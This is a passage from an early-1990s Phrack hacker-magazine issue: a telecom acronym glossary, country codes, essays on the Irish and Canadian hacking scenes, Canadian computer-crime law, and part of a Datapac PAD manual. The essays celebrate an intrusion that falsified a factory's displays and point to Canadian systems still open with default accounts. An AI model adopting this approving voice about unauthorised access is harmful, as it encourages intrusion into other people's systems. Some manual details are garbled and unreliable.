UFT Unitized facility terminals
UI Unnumbered information (LAP-D command)
UIC U-interface unit
UIC User identification code
UID User id
UINTF The ANSI standard U interface is down.
UITP Universal information transport plan
ULCU User level control/command unit
UMC Unassigned multiplexer code
UNDRN Underrange
UNISTAR Universal single call telecommunications answering & repair
UNKN Unknown
UOA U interface only activation (in EOC)
UP User part
UPC Update ccs vs. class of service table
UPDT Update
UPS Uninterruptable power systems
UQL Unequipped label received (outgoing)
US USOC
US Unit separator
USART Universal synchrounous/asynchrounous receiver/transmitter
USB Upper side band
USITA United states independent telephone association
USL List USOC (us) file data
USO Univeral service order
USO Universal service order
USOC Universal service order code
USP Universal sampling plan
USR User-to-user information (SS7: in ISUP)
UTC Unable to comply ack (in eoc)
UTC Unacknowledged (unnumbered) information transfer control (IOS)
UTC Update table for concentrator redesign
UTD Universal tone decoder
UTG Universal tone generator
UTM Universal transaction monitor
UTS Umbilical time slot
UUCICO Unix to unix copy incoming copy outgoing
UUCP Unix to unix copy program
UUCP Unix-system to unix-system copy
UUID Universal user identification
UUS User-to-user signaling (i.257 a)
UUT User to user signaling
UVC Universal voice channel
UWAL Universal wats (wide area telephone service) access line
UXS Unexpected stop
UXS Unexpected stop (MDII)
V Volts
V(R) Receive sequence counter
V(S) Transmit sequence counter
VAC Vacuumschmelze (produces cores and transformers)
VAL Minimum valid hours for entity data
VAN Value added network
VANS Value added network service
VAP Value added process
VAP Videotext access point
VAR Value added retailer
VC Virtual call
VC Virtual circuit
VCA Vacant code
VCB Virtual circuit bearer
VCS Virtual circuit switch (as in Datakit)
VCS Virtual circuit switching
VCS Virtual circuit system
VDC Unk? (On service order)
VDT Video display terminal
VERS Version
VF Commercial television (full time) INTER/TRA blocal 1-26
VF Voice frequency
VFAC Verified and forced account codes
VFD Verify display
VFG Virtual facility group
VFN Vendor feature node
VFS Verify status
VFY Verfy
VFY Verify
VG Voice grade
VGB Voice grade budget
VGF Voice grade facility
VGT Boltage test
VGT Voltage test (SARTS command)
VH Commercial television (part time) INTER/TRA blocal 1-26
VHDL Very high scale ic description language (DOD)
VHF Very high frequency
VINES Virtual network software
VIU Voiceband interface unit
VL (Ger) connecting cable
VLD Validity
VLSI Very large-scale integrated circuitry
VLT Voltage
VM Control/remote metering-voice grade INTER/TRA blocal 1-26
VM/SP Virtual machine/system product
VMC Vender marketing center
VMCF Virtual machine communications facility
VMR Volt-meter reverse
VMRS Voice message relay system
VMS Virtual memory operating system
VMS Voice mail system
VMS Voice management system
VMS Voltage Monitor error Summary
VNF Virtual network feature
VNL Via net loss plan
VNLF Via net loss factor
VO International overseas television INTER/TRA blocal 1-26
VODAS Voice over data access station
VPA Voice path assurance timeout (outgoing)
VPN Virtual private network
VR Non-commercial television
VRMS Voltage remote mean square
VRS Voice response system
VSAM Virtual storage access method
VSAT Very small aperature terminal
VSAT Very small aperture terminal (for satellite communication)
VSB Vestigial sideband modulation
VSC Vendor service center
VSE Virtual storage extended
VSP (ger) full frame storage
VSR Voice storage and retrieval
VSRTP Voice service remote test port
VSS Voice storage system
VSSP Voice switch signaling point
VSt (ger) exchange unit
VT Vertical tabulator
VT Virtual terminal
VTAM Virtual telecom access method
VTAM Virtual telecommunications access method
VTI Virtual terminal interface
VTOC Volume table of contents
VTS Video teleconferencing system
VUA Virtual user agent
W Date and time this ticket is closed.
W With
WADS Wide area data service
WAN Wide area network
WATS Wide area telecommunications service
WATS Wide area telephone service
WB Wideband digital 19.2 kb/s-service code for LATA access
WC Special 800 surface trunk INTER/TRA blocal 1-26
WC Wire center
WCC Change wire center - COSMOS command
WCI Write controller interface (IOM2 monitor command)
WCPC Wire center planning center
WCT Worksheet for cable throw orders
WD Special wats trunk (out) INTER/TRA blocal 1-26
WDCS Wideband digital cross-connect system
WDFHP Recursive high pass filter + decimation filter
WDFLP Recursive low pass filter + decimation filter
WDM Wavelength division multiplex
WDM Wavelength division multiplexing
WDT Watch dog timer
WE Wideband digital 50 kb/s-service code for LATA access
WEBS Wells electronic banking system
WF Wideband digital 230.4 kb/s-service code for LATA access
WFA Work and force administration
WFA-CMSA Work and force administration - common module for
systems administration
WFA/DO Work and force administration/dispatch out
WFL Working frame location
WG Switch group
WH Wideband digital 56 kb/s-service code for LATA access
WI 800 surface trunk INTER/TRA blocal 1-26
WI Wink start
WIP Workcenter information package
WJ Wideband analog 60-108 khz-service code for LATA access
WL Wideband analog 312-552 khz-service code for LATA access
WM Work manager
WN Wideband analog 10hz-20 khz-service code for LATA access
WO Wats line (out) INTER/TRA blocal 1-26
WOI Work order inquiry
WOL Work order listing
WORD Work order and record detail
WORD Work order record and details
WP Wideband analog 29-44 khz-service code for LATA access
WPN Work package number
WPT Work package table
WPT Work package type
WR Wideband analog 564-3064 khz-service code for LATA access
WS Wats trunk (out) INTER/TRA blocal 1-26
WSL Work status list
WSO Wats service office
WUL Work unit report for subscriber line
WX 800 service line INTER/TRA blocal 1-26
WY Wats trunk (2-way) INTER/TRA blocal 1-26
WZ Wats line (2-way) INTER/TRA blocal 1-26
X Check t for trouble
X-bar Crossbar
XA Dedicated digital 2.4 kb/s-service code for LATA access
XAD Transmit adress
XB Dedicated digital 4.8 kb/s-service code for LATA access
XB X-bar
XBT X-bar tandem
XFE X-front end
XFIFO Transmit fifo
XG Dedicated digital 9.6 kb/s-service code for LATA access
XH Dedecated digital 56. kb/s-service code for LATA access
XID Exchange identification (LAP-D command/response)
XMS Extended multiprocessor operating system
XN X
XN X number
XOFF Transmission off (dc1)
XON Transmission on (dc3)
XPL Cross reference protocol listing (PCT)
XST Expected stop time-out
XTC Extended test controller
XTC Extended test controllers
XTC Extened test controller
Y Initials of person to whom ticket is dispatched
Z Redispatch information.
Z Transmit level point z
ZA Alarm circuts INTER/TRA blocal 1-26
ZC Call and talk circuts INTER/TRA blocal 1-26
ZCS Zero code suppression
ZCS Zero code suppression encoding (ds-1)
ZE Emergency patching circuts INTER/TRA blocal 1-26
ZF Order circuts- facility INTER/TRA blocal 1-26
ZM Measurement and recording circuts INTER/TRA blocal 1-26
ZN Zone location
ZP Test circut- plant service center INTER/TRA blocal 1-26
ZQ Quality and management circuts INTER/TRA blocal 1-26
ZS Switching- control and transfer circuts INTER/TRA blocal 1-26
ZT Test circuts- central office INTER/TRA blocal 1-26
ZV Order circuts- service INTER/TRA blocal 1-26
kHz Kilohertz-one thoughand hertz
----------------------EOF------EOF-------EOF------EOF----------------------
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 26 of 27
International Scenes
There was once a time when hackers were basically isolated. It was
almost unheard of to run into hackers from countries other than the
United States. Then in the mid 1980's thanks largely to the
existence of chat systems accessible through X.25 networks like
Altger, tchh and QSD, hackers world-wide began to run into each other.
They began to talk, trade information, and learn from each other.
Separate and diverse subcultures began to merge into one collective
scene and has brought us the hacking subculture we know today. A
subculture that knows no borders, one whose denizens share the common goal
of liberating information from its corporate shackles.
With the incredible proliferation of the Internet around the globe, this
group is growing by leaps and bounds. With this in mind, we want to help
further unite the communities in various countries by shedding light
onto the hacking scenes that exist there. We have been requesting files
from people to describe the hacking scene in their country, but
unfortunately, more people volunteered than followed through (you know
who you are.) By next issue we will have more, I'm sure, but for now,
we want to introduce you all to the scenes in Ireland and Canada.
*****************************************************************************
COUNTRIES ON THE INTERNET
AD Andorra
AE United Arab Emirates
AF Afghanistan
AG Antigua and Barbuda
AI Anguilla
AL Albania
AM Armenia
AN Netherland Antilles
AO Angola
AQ Antarctica
AR Argentina
AS American Samoa
AT Austria
AU Australia
AW Aruba
AZ Azerbaidjan
BA Bosnia-Herzegovina
BB Barbados
BD Bangladesh
BE Belgium
BF Burkina Faso
BG Bulgaria
BH Bahrain
BI Burundi
BJ Benin
BM Bermuda
BN Brunei Darussalam
BO Bolivia
BR Brazil
BS Bahamas
BT Buthan
BV Bouvet Island
BW Botswana
BY Bielorussia
BZ Belize
CA Canada
CC Cocos Island
CF Central African Republic
CG Congo
CH Switzerland
CI Ivory Coast
CK Cook Islands
CL Chile
CM Cameroon
CN China
CO Colombia
CR Costa Rica
CS Czechoslovakia
CU Cuba
CV Cape Verde
CX Christmas Island
CY Cyprus
DE Germany
DJ Djibouti
DK Denmark
DM Dominica
DO Dominican Republic
DZ Algeria
EC Ecuador
EE Estonia
EG Egypt
EH Western Sahara
ES Spain
ET Ethiopia
FI Finland
FJ Fiji
FK Falkland Islands
FM Micronesia
FO Faroe Islands
FR France
FX France
GA Gabon
GB Great Britain (UK)
GD Grenada
GE Georgia
GH Ghana
GI Gibraltar
GL Greenland
GP Guadeloupe
GQ Equatorial Guinea
GF French Guyana
GM Gambia
GN Guinea
GR Greece
GT Guatemala
GU Guam
GW Guinea Bissau
GY Guyana
HK Hong Kong
HM Heard & McDonald Island
HN Honduras
HR Croatia
HT Haiti
HU Hungary
ID Indonesia
IE Ireland
IL Israel
IN India
IO British Indian Ocean Territories
IQ Iraq
IR Iran
IS Iceland
IT Italy
JM Jamaica
JO Jordan
JP Japan
KE Kenya
KG Kirgistan
KH Cambodia
KI Kiribati
KM Comoros
KN St.Kitts Nevis Anguilla
KP North Korea
KR South Korea
KW Kuwait
KY Cayman Islands
KZ Kazachstan
LA Laos
LB Lebanon
LC Saint Lucia
LI Liechtenstein
LK Sri Lanka
LR Liberia
LS Lesotho
LT Lithuania
LU Luxembourg
LV Latvia
LY Libya
MA Morocco
MC Monaco
MD Moldavia
MG Madagascar
MH Marshall Islands
ML Mali
MM Myanmar
MN Mongolia
MO Macau
MP Northern Mariana Island
MQ Martinique
MR Mauritania
MS Montserrat
MT Malta
MU Mauritius
MV Maldives
MW Malawi
MX Mexico
MY Malaysia
MZ Mozambique
NA Namibia
NC New Caledonia
NE Niger
NF Norfolk Island
NG Nigeria
NI Nicaragua
NL Netherlands
NO Norway
NP Nepal
NR Nauru
NT Neutral Zone
NU Niue
NZ New Zealand
OM Oman
PA Panama
PE Peru
PF Polynesia
PG Papua New Guinea
PH Philippines
PK Pakistan
PL Poland
PM St. Pierre & Miquelon
PN Pitcairn
PT Portugal
PR Puerto Rico
PW Palau
PY Paraguay
QA Qatar
RE Reunion
RO Romania
RU Russian Federation
RW Rwanda
SA Saudi Arabia
SB Solomon Islands
SC Seychelles
SD Sudan
SE Sweden
SG Singapore
SH St. Helena
SI Slovenia
SJ Svalbard & Jan Mayen Islands
SL Sierra Leone
SM San Marino
SN Senegal
SO Somalia
SR Suriname
ST St. Tome and Principe
SU Soviet Union
SV El Salvador
SY Syria
SZ Swaziland
TC Turks & Caicos Islands
TD Chad
TF French Southern Territories
TG Togo
TH Thailand
TJ Tadjikistan
TK Tokelau
TM Turkmenistan
TN Tunisia
TO Tonga
TP East Timor
TR Turkey
TT Trinidad & Tobago
TV Tuvalu
TW Taiwan
TZ Tanzania
UA Ukraine
UG Uganda
UK United Kingdom
UM US Minor Outlying Islands
US United States
UY Uruguay
UZ Uzbekistan
VA Vatican City State
VC St.Vincent & Grenadines
VE Venezuela
VG British Virgin Islands
VI U.S. Virgin Islands
VN Vietnam
VU Vanuatu
WF Wallis & Futuna Islands
WS Samoa
YE Yemen
YU Yugoslavia
ZA South Africa
ZM Zambia
ZR Zaire
ZW Zimbabwe
****************************************************************************
HACKING IN IRELAND
BY
HAWKWIND
Greetings from the Emerald Isle! My name is Hawkwind, and I'm an
Irish hacker *evil cackle*. So, what's the hacking scene like in this
small green island called Ireland, perched on the edge of the Atlantic
Ocean? -an island which claims to have one of the most sophisticated
digital phone networks in Europe, home of Eirpac (the Irish equivalent to
Sprintnet/Telenet) and lots of other weird and wonderful things like
that.
Well, the hacking scene, like the country itself, is small
-there are no elite in Ireland. -or if there are they are so elite that
nobody has heard of them. So if you're only into elite stuff, then
don't bother reading on, skip onto the next country.
Also, sadly at the moment, there seems to be little interest in
hacking in Ireland -I can count the number of Irish hackers I know on
the fingers of one hand. Maybe I'm just hanging out in the wrong places,
or perhaps its the Iron Hand of Ireland's own Little Brother, friend and
follower of the U.S's Big Brother, enforcing his evil ways of censorship
and the like upon us all, denying us the right to free information.
Nationwide censorship of Usenet hurts like dry ice, but restricting ftp
and telnet out of the country to the privileged few, is the fatal
crunch. Now, I ask you, with grief like this, is it any wonder so few
Irish have made it into the Computer Underground -to those that have
beaten the odds, I wish them well.
OK, so what do Irish hackers like to hack? Like many hackers we
just have the curiosity and desire to explore any system or network we
come across -the everlasting search for that spine-tingling adrenaline
rush when you've beaten the system and got somewhere where perhaps no
commoner has gone before -don't ever ask us to choose between getting
well drunk, having sex, or hacking --it would be a rough choice.
Let me start by telling you of what I find an interesting moment
in Irish hacking history. -to you it may just seem like no big deal, but
we kinda like it.
There is a type manufacturing company in Dublin, Ireland and
they like to make tyres--in order not to ruin any reputations we won't
mention any names--just another tyre company. Now this company likes
nice modern systems--big colorful display panels with lots of flashing
lights, to keep their managers happy and amused for hours. A happy
company is lots of happy striving workers and so, a big flashy sign
which displayed the number of tyres being produced, and dutifully
counted upwards every time one come off the assembly line, was
constructed. So they had a big sign inside the plant so the workers
could see how hard they were working, and big bonuses and lots of
presents were promised if they got past a certain number in a day.
There was also a large juicy sign outside the plant showing this number
so that the general public could be suitably impressed with the busy-bee
workers and the number of tyres being produced.
And all these signs and computers controlling them were
connected to such mysteries as a network with a couple of black boxes
which management proudly called modems -enter stage left, Irish
hackers, *deep bow and evil wave*
So you can imagine, one warm sunny summer's evening, when there
was really nothing better to do in Dublin, strange things started to
happen at the tyre factory. Yes, strange things indeed. Suddenly the
workers got very lazy and started slowing down their production,
becoming slower and slower and slower. The numbers stopped counting up
on the glowing sign. Then the digits oddly started counting backwards.
Down they went, getting faster and faster -people began to picture
enraged workers destroying tyres in a crazed frenzy. Soon our sign
showed that there were no tyres left and it began to dive into negative
numbers of tyres. The passers-by scratched their heads in astonishment.
Ah, but enough fun -this really was a very good tyre company
with very hard-working workers. They deserve lots of bonuses -heck,
didn't someone say this was the most productive factory in Europe? Well
it was that day anyway! *evil cackle* So the signs stopped counting
backwards, and suddenly began to race forwards like there was no
tomorrow. The workers were scurrying back and forth at lightening speed
-one hundred, two hundred..a thousand...ten thousand...what, a hundred
thousand! Soon our good workers had produced more tyres in the space of
20 minutes, than visitors Disneyland had in 25 years...
Ah yes, these are the things that Irish hackers like to do -we
still wonder if the management gave all those good workers their
bonuses??
So really, we like to investigate or hack anything that we might
stumble across -anything from the local University library computer to
tyre companies to networks in lands far away. One of the things we
really like doing is just exploring, hopping from one network to the
next, using computers in such awed places as the U.S., Canada or Mexico,
this is probably because for us, even to reach such computers and
networks is an achievement, that our Little Brother would deny us had he
his evil ways. We think that the Internet is one of the greatest
creations in a long time, and we would never want to do any malicious
damage on such a free association -if only our Little Brother would let
us associate freely with it, instead of making life just that little bit
more difficult. We find Sprintnet and other connected goodies
interesting prowling grounds, although we are the first to admit that we
still have very much to learn here. To explore these systems is very
interesting for us, because they are so far away and in such interesting
lands that we may never see ourselves -what to you might be the old U.S.,
to explore the nets there gives us a sense of excitement and a variety
of systems that cannot be found on such a small island as our own
Ireland.
And of course, there is the never-ending quest for U.S. outdials
in the hope that one day we might actually reach some of the fabled U.S.
h/p boards and actually meet a real Fed or two. *snicker* Turning from
the strictly hacking scene for the moment there are some Irish people
interested in the phones and other phun things -a while back two
college guys were busted for cracking an eleven digit code on some new
phone system chip or something, which had given them unlimited dialling
access and other phun privileges. -then there was the magic toll free
number which for a month or two gave the Irish population unlimited
access to the outside world (a big thank-you goes to whoever worked that
one out. *grin*) I'm told from reliable sources that we have a pretty
sophisticated phone system, a matter we soon hope to be investigating,
but this does not seem to have stopped phreakers from trying, and if we
manage to work anything out, we'll, as our 'Telecom Eireann' so aptly
put it 'Keep in touch across the world'.
Sadly, we are plagued by outrageous phone charges, even for
local calls and hence many Irish boards have failed to blossom -of
those that do, the sysops seem to be little interested in h/p talk and I
know of no dedicated h/p Irish board.
There also used to be a type of Underground meeting that occurred
every dark rainy Sunday afternoon, down in the Ormond, a hotel in Dublin
city centre. It passed unheeded under the guise of a computer club, but
the bloke who ran it was a renowned con-man, and dealer of everything
and anything from car radios to Rolex watches -in any event the club
must have been one of the biggest WareZ swapping centres, including all
the latest videos from the U.S. which would not be released in the
cinemas(movies) here until six months later. Generally people
interested in the same computer type things just got together to chat
and swap the latest news, disks and videos -an interesting place with
interesting folks, which sadly no longer seems to happen. Perhaps
someone will revive something similar in the near future.
Well, I'll end the tale there for the moment. Hopefully you've
gotten a little flavor of our little Underground, watched over by our
Little Brother, in our little country called Ireland. I'm not sure how
I ended up writing this article, but since nobody else stepped forward, I
thought Ireland should at least get some kind of mention, if nothing
else -so you can /dev/null any flames.
Before I sign off, I'd just like to thank Phrack not only for
giving me the chance to tell my tale, but for supplying us with a great
publication and guide to the Underground. Finally, if you are an Irish
hacker/phreaker, then get in touch now!!! -I really want to be able to say
that I can count the number of Irish hackers I know on two hands, and not
just one, before the end of the decade! Also, I am always interested in
talking to anyone interested in the hack/phreak world so get in touch if
you want to chat -just remember, we are no elite!
(I don't suppose anyone out there, knows anything about the Irish phone
system? *shrugs*)
Ok, I can be reached at the following, for the next little while:
(Yes, I do have Irish a/c's but not for thine eyes...)
al575@yfn.ysu.edu
hawkwind@m-net.ann-arbor.mi.us
hawkwin@santafe.edu (note: no 'd' at end userid)
I'm also sometimes on IRC, and may hopefully be on phantom soon.
Well, as we say in Ireland, good luck and may the road rise up before
you.
Slan Leat,
Hawkwind.
*****************************************************************************
Canada
All is Quiet on the Northern Front
Written and compiled by Synapse
Welcome to the barren wastes or rather the undeveloped wastes if
you will. Welcome to Canada. A realm seldom traveled and less
often explored. Canada, or .ca if you will, is virgin country in
the net. There are places that have been sitting idle for years
on our nets that still have default accounts in use. There is an
unmeasurable amount of data out there waiting to be tapped. The
possibilities in this are endless, Canada is untouched for the
most part, and as developed networks go, I feel that Canada is as
close to The 'Undiscovered country' as you can get.
Most likely if you are reading this article you will be of a
nationality other than Canadian. If so, perhaps this will be an
educational experience for you. To explain our nets and our scene
here in the far far north, I must first explain our nation and
its greatest difficulty, it has NO identity, therefore it tends
to mirror those it is enamored with. Hence our scene resembles
an amalgamation of whatever seems popular in the nets at a given
time. Most often it attempts somewhat miserably to emulate the
scene south of our border, the great U S of A. And in short it
fails miserably.
This is not to say that Canada does not have a scene of its own
nor is it attempting to take away from those scenes that have
developed fully on their own within .ca. It is simply bringing to
light a problem that plagues our scene and dilutes it for those
who are serious about the computer underground, and whatever
ideals it may contain.
If you travel the nets in Canada you will find that dissent and
"ElYtEeGoStRoKInG" are staple with both the Hacking and Warez
scenes all throughout the nine provinces and 2 territories. As I
am sure you know this is not a problem unique to .ca. However in
a scene as minute and spread painfully thin as ours, arrogance
and mis-communication can be fatal in the way of cooperation
gaps. This has proved the case many times in the recent past, and
I am sure it will in the near future as well.
Canada seems to a have a communication barrier that separates
east from west. There is simply close to no communications
between the two. It is as if we are in separate hemispheres and
lost to the technology of fibber optics and damned to smoke
signals and drum beating. I have to wonder sometimes if both
sides are so involved in their own local power struggles, that
the rest of the world has melted away including their country men
on either side.
Alas it is time to dive into this the this of the article. To
detail the complete underground in Canada would be impossible for
me to do, to even give a non-biased view would be impossible. So
if you feel that this is simply an overextended opinion, thank
IBM for the PgDn key and spare yourself some opinionated text.
The Almost LODs of .ca
Just like the U.S., Canada is proliferated with umpteen amounts
of upstart groups who after reading some trashy second rate book
on LOD or Kevin Mitnick, have decided that they have found what
it is to be elyte. Most often these will be the prominent voices
on underground boards spitting flame and stroking immeasurably
unhealthy egos, and boasting how proficient they are with toneloc
and Killer Cracker. However as with most boasts put forth by
fourteen year olds, nothing comes of it.
However if you can manage passage through the quagmire of shit
that serves as the .ca scene, then you will most likely encounter
some of .ca's more serious minded types who while retaining
talent and a penchant for learning, do not sport an ego of
astronomical proportions, and wit that would bring condescension
from an ant. The following is a short list of several of .ca's
more prominent if not more talented groups.
RaBID The Virus People
If the Virus world is your environment, then most likely you
have stumbled across the work of RaBID, hopefully not on the
receiving end.. Rabid is based out of 416 or rather Toronto
Canada, at it's prime Rabid was running a mail net that spanned
Canada and were releasing enough material to employ the boys at
McAfee. Things have changed. While Rabid had at one point been a
productive group (if you can call a virus group productive) time
seems to have worn their edge, in fact Rabid as a group have
failed to release anything of value in a great long time. Perhaps
this will change. If nothing else Rabid did bring a much needed
ego boost to the Canadian scene, in doing so they opened the door
for other such groups to be seen on the international level with
out being laughed out of the nets. For this if nothing else they
deserve recognition. There is a great deal more to be said about
Rabid, however as I said all the information given here will be
cursory, if you require an information at all in the future on
Rabid or any of the groups mentioned below I will leave an e-mail
address below where you can write me, I will help you if I can.
FOG out of 403 Calgary, Alberta
No scene is complete without talented juveniles given to temper
tantrums virus spreading and general malicious behavior..Enter
FOG. FOG stands for the Fist Of God, it is for the most part a
group of individuals who go through unnatural amounts of effort
to get under the skin of others. Yet beyond juvenile behavior
that tends to underscore most endeavors they undertake. FOG does
for the most part work very diligently for a united .ca scene.
They have in the past run a nation wide net using encrypted mail
procedures so that dialogue could be opened between the east and
western scenes. This event was stopped when the Hubs house was
raided by the Royal Canadian Mounted Police for suspected telco
abuse, they were no charges laid however yet the organizers felt
that the information passing through the net was much too
valuable to be compromised by a bust. The net was killed.
After the net disappeared several members of FoG began writing
bbs software to be spread across the country to make networking
easier or rather standardized. The bbs also includes encryption
options for the mail, and will soon be HAM radio as well as
cellular modem capable. This program is available to any who wish
to take it, as I said earlier, just mail me.
NuKE Making Art out of Arrogance
NuKE hails from 516 Montreal, Canada. It as far as I can see
primarily now a virus group. Producing and modifying strains, for
the most part NuKE has been the most active underground .ca group
that has seen movement on an international level, with this past
year.
It's membership has changed quite severely since I last had
contact with them. Therefore I fear that to publish anything else
on them would be inaccurate and therefore an injustice. However
if you are interested in pursuing this topic........Mail me.
As you can see these are cursory overviews of Canada's groups it
is of course largely incomplete, I provided it only to serve as a
guide for the feeling of Canada's groups. There are of course
many worth mentioning that I failed to show, and moreover there
is a great deal more to the groups that I did mention. To those
who are in the above groups are unhappy with the opinion put
forth please by all means FUCKOFF. I e-mailed all of you, and in
your infallible wisdom you failed to reply. So suffer with it :>
.ca and the law
While Canada has been for the most part largely un-abused by the
'Computer Criminal'. It's laws are none the less fairly advanced.
Our legislators to their credit have kept a close eye on our
neighbors in the south, and have introduced laws accordingly.
The following is the Canadian criminal code as pertaining to
Computer Crime.
342.1
(1) Every one who, fraudulently and without color of right,
(a) obtains, directly or indirectly, any computer service,
(b) by means of an electro-magnetic, acoustic, mechanical
or other device, intercepts or causes to be intercepted,
directly or indirectly, any function of a computer system, or,
(c) uses or causes to be used, directly or indirectly, a
computer system with intent to commit an offense under
paragraph (a) or (b) or an offense under section 430 in
relation to data or a computer system
is guilty of an indictable offence and liable to
imprisonment for a term not exceeding ten years, or is
guilty of an offence punishable on summary conviction.
(2) In this section, "computer program" means data representing
instructions or statements that, when executed in a computer
system, causes the computer to perform a function;
"computer service" includes data processing and the
storage or retrieval of data; "computer system" means
a device that, or a group of interconnected or related
devices one or more of which,
(a) contains computer programs or other data, and
(b) pursuant to computer programs,
(i) performs logic and control, and
(ii) may perform any other function;
"data" means representation of information or of concepts
that are being prepared or have been prepared in a form
suitable for use in a computer system;
"electro-magnetic, acoustic, mechanical or other device"
means any device or apparatus that is used or is capable of
being used to intercept any function of a computer system,
but does not include a hearing aid used to correct subnormal
hearing of the user to not better than normal hearing;
"function" includes logic, control, arithmetic, deletion,
storage and retrieval and communication of telecommunication to,
from or within a computer system; "intercept" includes listen
to or record a function of a computer system, or acquire the
substance, meaning or purport thereof.
430.
[...]
(1.1) Every one commits mischief who willfully
(a) destroys or alters data;
(b) renders data meaningless, useless or ineffective;
(c) obstructs, interrupts or interferes with the lawful
use of data; or
(d) obstructs, interrupts or interferes with any person
in the lawful use of data or denies access to data
to any person who is entitled to access thereto.
[...]
(8) In this section, "data" has the same meaning as in
section 342.1.
As you can see our criminal code carries severe penalties for
both Hacking and Virus spreading however, there is little
precedent to set sentences by. While this is reassuring, there
seems to be a new trends to prosecute those who are caught at
computer crime. Moreover it seems to be a trend to prosecute with
setting precedence in mind.. So for those of you in .ca who have
busted recently I would begin to fear right about now.
For the most part most computer crime in Canada that results in
busts is telco related, most often the charges are federal but
the sentences are light, however as I said before, this is
changing. And will continue to change with each new bust ,
welcome to the new dawn I suppose.
Datapac, Canada's first net
As it stands Datapac is Canada's largest and most used
network, it is old archaic and slow, yet still it is immense
amounts of fun to play with. The following is a technical excerpt
to help you understand the operation of Datapac and how to
maneuver it. Those of you who are already familiar with the
workings of this type of network will find this dry and
repetitive for those of you who are not familiar it may make for
some learning.
After the manual entry you will find a list of interesting sites
to explore with, enjoy....
Datapac 3101 "Welcome to the Dark Ages"
Interface (ITI) in a Packet Assembler/Disassembler (PAD), which
allows the devices to access the Network over dial-up (DDD) or Dedicated
Access Lines.
ITI, the end-to-end protocol for Datapac 3101, conforms to the
CCITT recommendations X.3, X.28 and X.29 and supports access to the
Datapac Network for asynchronous, start-stop character mode terminals.
X.3 specifies the operation of the PAD. It contains the
specifications for the twenty-two International parameters and
their operation.
X.25 specifies the command language between the terminal and
the PAD. It also specifies the conditions which define the command
mode and the data transfer mode.
X.29 specifies the procedures to be followed by an X.25 DTE
to access and modify the parameters in the PAD as well as the data
transfer procedure.
The Datapac 3101 service provides for terminal to Host (user's
computer) and terminal to terminal communication. The Host access
should conform with the X.25 protocol, using the Datapac 3000 access
service, and also support the higher level protocol conventions for ITI.
Host access may also be provided via the Datapac 3101 service for some
applications. The Datapac 3101 service also provides block mode and
tape support.
INTERNATIONAL PAD PARAMETERS
----------------------------
1) Ability to Escape from Data Transfer State*
The setting of this parameter allows the user to interrupt
the communication of his or her application (data transfer mode) and
interact with the PAD (common mode). The character to do this is
"ControlJP". To return to data transfer mode, press the carriage
return or enter a blank command line. If the user wants to send a
"ControlJP" to the Host, with this parameter set set to one, simply
hit ControlJP twice and the second ControlJP will go to the Host and
the user will remain in data transfer mode. This also applies to
the user data field in the call request command line.
Parameter Number: 1
Possible Values: 0 = Escape not possible.
1 = Escape is possible.
*Note: Escape from Data transfer mode may also be possible using
the break signal if parameter seven is set to eight.
2) Echo*
This parameter indicates to the PAD whether or not the
terminal input data must be echoed. This may be required if the user's
terminal cannot echo back what is being entered.
Parameter Number: 1
Possible Values: 0 = No echo.
1 = Echo.
*Note: Echo will also be affected by the setting of Parameter 20.
3) Selection of Data Forwarding Signal
This parameter indicates to the PAD the set to terminal
generated characters or conditions that will cause data to be forwarded
to the destination. For example, (CR) can be used as a data forwarding
signal on receipt of a (CR) from the local DTE Y, the PAD will forward all
characters in its buffer to the remote end, including the (CR). If P13 is
set to 6.7, 22 or 23, a (LF) will be included in the packet and will delimit
it. Data is also forwarded when the buffer is full whether or not a
forwarding character is received.
Parameter Number: 3
Possible Values: 0 = No data forwarding signal.
2 = Forward on carriage return.
2 = Carriage return.
126 = All characters in columns 0 and 1
of ASCII table and the character
del of International alphabet #5.
4) Selection of Idle Timer Delay
This parameter is used to determine the idle timer limit
value when data forwarding is based on timeouts. To optimize packetizing
of data, no data forwarding signal need be specified. The PAD will then
packetize data based on packet size specified (256 or 128 characters).
The idle timer is used to send any packets that are not fully filled.
If idle timer is activated and the Host requires the (CR) to input data,
it still must be provided before the data send is accepted by the Host.
The idle timer does not send any empty packets.
Parameter Number: 4
Possible Values: 0 = No data forwarding on timeout is
required.
1-255 = Indicates value of the delay in
twenties of a second. (i.e., a
value of 250 makes the time wait
10 seconds)
*Note: When editing is on (P15:1), the idle timer is inactive.
If this is the only data forwarding condition, turning the editing function
on could cause a user terminal to hand or data not to be forwarded.
5) Auxiliary Device Control*
This is used for flow control of data coming from either a
PC or auxiliary device, e.g.: a paper tape machine. When set to
1 it indicates to the PAD that the data is to be read an auxiliary
I/O device connected to the terminal. This parameter set to 2 indicates
that the data is coming from an intelligent device, i.e., a PC, and that
the PAD must exert flow control differently.
Parameter Number: 5
Possible Values: 0 = No use of X-on/X-off.
1 = Use of X-on/X-off for auxiliary
devices.
2 = Use of X-on/X-off for
intelligent terminals.
*Note: A value of 2 is recommended for PC's.
6) Suppress Network Messages
This parameter indicates to the PAD whether or not Network
generated messages are to be transmitted to the terminal.
Parameter Number: 6
Possible Values: 0 = Suppress message.
1 = Transmit message.
5 = PAD prompt (*) follows Datapac
service signals.
7) Procedure on Break
This parameter is used to indicate how the PAD should
process a break signal that is received from the terminal
while the terminal is in data transfer state.
Parameter Number: 7
Possible Values: 0 = Nothing. (remain in data transfer
mode)
1 = Interrupt. (remain in data
transfer mode)
2 = Reset. (remain in data transfer
mode)
4 = Send an "indication of break"
message to the packet mode DTE.
(remain in data transfer mode)
8 = Escape from data transfer mode
(i.e., enter command mode)
16 = Discard output to terminal
activate Parameter 8 (P8:1)
(remain in data transfer mode)
21 = A combination of 1, 4 and 16.
*Note: The break signal is ignored if the virtual circuit is not
established while in command state. The break signal will delete
the current line.
The valid values for P7 are 0, 1, 2, 8 and 21.
8) Discard Output
This parameter is used in conjunction with Parameter 7.
Depending upon the break procedure selected, this parameter may be
set by the PAD when the terminal user requests that terminal data be
discarded. This parameter must then be reset by the destination
computer to allow normal delivery. The PAD will discard all packets
destined for the terminal from the time the PAD sets this parameter
(i.e., it receives a break signal when Parameter 7 is set to 21) to
the time the parameter is reset by the destination. It can only be
reset by the destination.
Parameter Number: 8
Possible Values: 0 = Normal delivery of output to
terminal.
1 = Discard output to terminal.
9) Padding after Carriage Return
This parameter is used to specify the number of padding
characters to be inserted by the PAD following a CR transmitted
to the terminal. Padding allows time for the carriage to return
on mechanical printing devices.
Parameter Number: 9
Possible Values: 0 = 2 padding characters will be
inserted at 110 bps and 4
padding characters will be
inserted at higher speeds, in
command mode only. (no padding
is done in data transfer mode)
